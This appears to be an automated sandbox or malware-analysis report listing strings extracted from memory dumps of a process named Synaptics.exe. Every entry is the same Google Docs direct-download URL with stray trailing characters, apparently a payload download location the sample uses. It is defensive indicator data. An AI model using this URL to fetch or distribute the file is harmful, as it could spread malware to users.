Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjv
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkM
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkS
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkTA
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkU
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadke
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkw~
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl.
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlC
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadliD
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem6
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlq
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlunaq
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm/ima
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmP
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmV
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadma=25
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmana
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmgp
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.H
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.P
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn0
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnL
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnM
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnT
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadname
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniverAWo
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor0-
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnl
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado-
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoadSe
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadody
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogt
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonten
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogl
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadop
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadou
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.000000000057A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpA
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpC
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpeat
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadps4
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpuA
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpx
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqR
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqb
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqwT
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr3
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrUx
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrV
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadre
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadreT
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrf
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrl(//
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-cn.
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads2
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsR
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadscale
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstF
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt1
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt1-cneVK
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtB
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadta
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtp
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduU
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadue
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadufX
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduwD
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv7
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv=
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvL
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvS
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvi
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvi8
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvideo
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvn
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvqQ
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwP
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwS
